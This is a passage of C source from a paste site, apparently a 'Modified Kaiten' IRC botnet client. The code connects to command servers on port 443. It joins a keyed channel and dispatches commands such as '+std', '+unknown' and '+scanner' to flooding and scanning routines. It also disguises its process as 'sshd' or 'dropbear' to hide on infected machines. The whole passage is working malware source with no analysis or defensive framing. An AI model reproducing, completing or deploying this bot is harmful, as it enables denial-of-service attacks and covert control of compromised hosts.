  807.         Send(sock,"PRIVMSG %s :Nice try...\n", chan);
  808.    
  809.     }
  810. }
  811.  
  812. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  813.     { "+std"                    ,    std     },
  814.     { "+stop"                   ,    stop    },
  815.     { "+unknown"                ,   unknown  },
  816.     { "+scanner"                ,   StartTheLelz  },
  817.     { "GikbsyigbIGY"        ,   killsec  },
  818.     { (char *)0, (void (*)(int,char *,int,char **))0 } };
  819.    
  820. void _PRIVMSG(int sock, char *sender, char *str) {
  821.         int i;
  822.         char *to, *message;
  823.        
  824.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  825.         str[i]=0;
  826.         to=str;
  827.         message=str+i+2;
  828.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  829.         sender[i]=0;
  830.         if (*message == '>' && !strcasecmp(to,chan)) {
  831.                 char *params[12], name[1024]={0};
  832.                 int num_params=0, m;
  833.                 message++;
  834.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  835.                 message[i]=0;
  836.                 if (strwildmatch(message,nick)) return;
  837.                 message+=i+1;
  838.                 m=strlen(message);
  839.                 for (i=0;i<m;i++) {
  840.                         if (*message == ' ' || *message == 0) break;
  841.                         name[i]=*message;
  842.                         message++;
  843.                 }
  844.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  845.                 num_params++;
  846.                 if (num_params > 10) num_params=10;
  847.                 params[0]=name;
  848.                 params[num_params+1]="\0";
  849.                 m=1;
  850.                 while (*message != 0) {
  851.                         message++;
  852.                         if (m >= num_params) break;
  853.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  854.                         params[m]=(char*)malloc(i+1);
  855.                         strncpy(params[m],message,i);
  856.                         params[m][i]=0;
  857.                         m++;
  858.                         message+=i;
  859.                 }
  860.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  861.                         if (!strcasecmp(flooders[m].cmd,name)) {
  862.                                 flooders[m].func(sock,sender,num_params-1,params);
  863.                                 for (i=1;i<num_params;i++) free(params[i]);
  864.                                 return;
  865.                         }
  866.                 }
  867.         }
  868. }
  869. void _376(int sock, char *sender, char *str) {
  870.         Send(sock,"MODE %s +pixB\n",nick);
  871.         Send(sock,"JOIN %s :%s\n",chan,key);
  872.         Send(sock,"WHO %s\n",nick);
  873. }
  874. void _PING(int sock, char *sender, char *str) {
  875.  
  876. Send(sock,"PONG %s\n",str);
  877.  
  878. }
  879.  
  880. void _352(int sock, char *sender, char *str) {
  881.         int i,d;
  882.         char *msg=str;
  883.         struct hostent *hostm;
  884.         unsigned long m;
  885.         for (i=0,d=0;d<5;d++) {
  886.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  887.                 if (i == strlen(str)) return;
  888.         }
  889.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  890.         msg[i]=0;
  891.         if (!strcasecmp(msg,nick) && !spoofsm) {
  892.                 msg=str;
  893.                 for (i=0,d=0;d<3;d++) {
  894.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  895.                         if (i == strlen(str)) return;
  896.                 }
  897.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  898.                 msg[i]=0;
  899.                 if ((m = inet_addr(msg)) == -1) {
  900.                         if ((hostm=gethostbyname(msg)) == NULL) {
  901.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  902.                                 return;
  903.                         }
  904.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  905.                 }
  906.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  907.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  908.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  909.                 ((char*)&spoofs)[0]=0;
  910.                 spoofsm=256;
  911.         }
  912. }
  913. void _433(int sock, char *sender, char *str) {
  914.         free(nick);
  915.         char tempnick[50];
  916.         char *strpref = PREFIX;
  917.         char *genname = makestring();
  918.         strcpy(tempnick,strpref);
  919.         strcat(tempnick,genname);
  920.         nick=tempnick; 
  921. }
  922.  
  923. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  924.         {   "352",     _352     },
  925.         {   "376",     _376     },
  926.         {   "433",     _433     },
  927.         {   "422",     _376     },
  928.         { "PRIVMSG", _PRIVMSG   },
  929.         {   "PING",    _PING    },
  930.         { (char *)0, (void (*)(int,char *,char *))0 } };
  931. void con() {
  932.         struct sockaddr_in srv;
  933.         unsigned long ipaddr,start;
  934.         int flag;
  935.         struct hostent *hp;
  936. start:
  937.     sock=-1;
  938.     flag=1;
  939.     if (changeservers == 0) server=servers[rand()%numservers];
  940.     changeservers=0;
  941.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  942.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  943.         if ((hp = gethostbyname(server)) == NULL) {
  944.             server=NULL;
  945.             close(sock);
  946.             goto start;
  947.         }
  948.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  949.     }
  950.     else srv.sin_addr.s_addr=inet_addr(server);
  951.         srv.sin_family = AF_INET;
  952.         srv.sin_port = htons(443);
  953.     ioctl(sock,FIONBIO,&flag);
  954.     start=time(NULL);
  955.     while(time(NULL)-start < 10) {
  956.         errno=0;
  957.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  958.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  959.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  960.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  961.             return;
  962.         }
  963.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  964.         sleep(1);
  965.     }
  966.     server=NULL;
  967.     close(sock);
  968.     goto start;
  969. }
  970. int main(int argc, char *argv[]) {
  971.         int on,i;
  972.         char cwd[256],*str;
  973.         FILE *file;
  974.         if (fork()) exit(0);
  975.        
  976.         char *mynameis = "";
  977.            
  978.         if(access("/usr/bin/python", F_OK) != -1){
  979.             mynameis = "sshd";
  980.         } else {
  981.             mynameis = "/usr/sbin/dropbear";
  982.         }
  983.        
  984.         strncpy(argv[0],"",strlen(argv[0]));
  985.         sprintf(argv[0], mynameis);
  986.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  987.    
  988.         srand((time(NULL) ^ getpid()) + getppid());
  989.         char tempnick[50];
  990.         char *strpref = PREFIX;
  991.         char *genname = makestring();
  992.    
  993.         strcpy(tempnick,strpref);
  994.         strcat(tempnick,genname);
  995.        
  996.         nick=tempnick;
  997.         ident="DaVoid";
  998.         user="Modified Kaiten";
  999.         chan=CHAN;
  1000.         key=KEY;
  1001.         pass=PASS;
  1002.         server=NULL;
  1003. sa:
  1004. #ifdef IDENT
  1005.         for (i=0;i<numpids;i++) {
  1006.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1007.                         kill(pids[i],9);
  1008.             waitpid(pids[i],NULL,WNOHANG);
  1009.                 }
  1010.         }
  1011.     pids=NULL;
  1012.     numpids=0;
  1013.     identd();
  1014. #endif
  1015.  
  1016.     con();
  1017.         Send(sock,"PASS %s\n", pass);
  1018.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  1019.         while(1) {
  1020.                 unsigned long i;
  1021.                 fd_set n;
  1022.                 struct timeval tv;
  1023.                 FD_ZERO(&n);
  1024.                 FD_SET(sock,&n);
  1025.                 tv.tv_sec=60*20;
  1026.                 tv.tv_usec=0;
  1027.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  1028.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  1029.                         unsigned int *newpids,on;
  1030.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  1031.             pids[on-1]=0;
  1032.                         numpids--;
  1033.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  1034.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  1035.                         free(pids);
  1036.                         pids=newpids;
  1037.                 }
  1038.                 if (FD_ISSET(sock,&n)) {
  1039.                         char buf[4096], *str;
  1040.                         int i;
  1041.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  1042.                         buf[i]=0;
  1043.                         str=strtok(buf,"\n");
  1044.                         while(str && *str) {
  1045.                                 char name[1024], sender[1024];
  1046.                                 filter(str);
  1047.                                 if (*str == ':') {
  1048.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1049.                                         str[i]=0;
  1050.                                         strcpy(sender,str+1);
  1051.                                         strcpy(str,str+i+1);
  1052.                                 }
  1053.                                 else strcpy(sender,"*");
  1054.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1055.                                 str[i]=0;
  1056.                                 strcpy(name,str);
  1057.                                 strcpy(str,str+i+1);
  1058.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1059.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  1060.                                 str=strtok((char*)NULL,"\n");
  1061.                         }
  1062.                 }
  1063.         }
  1064.         return 0;
  1065. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement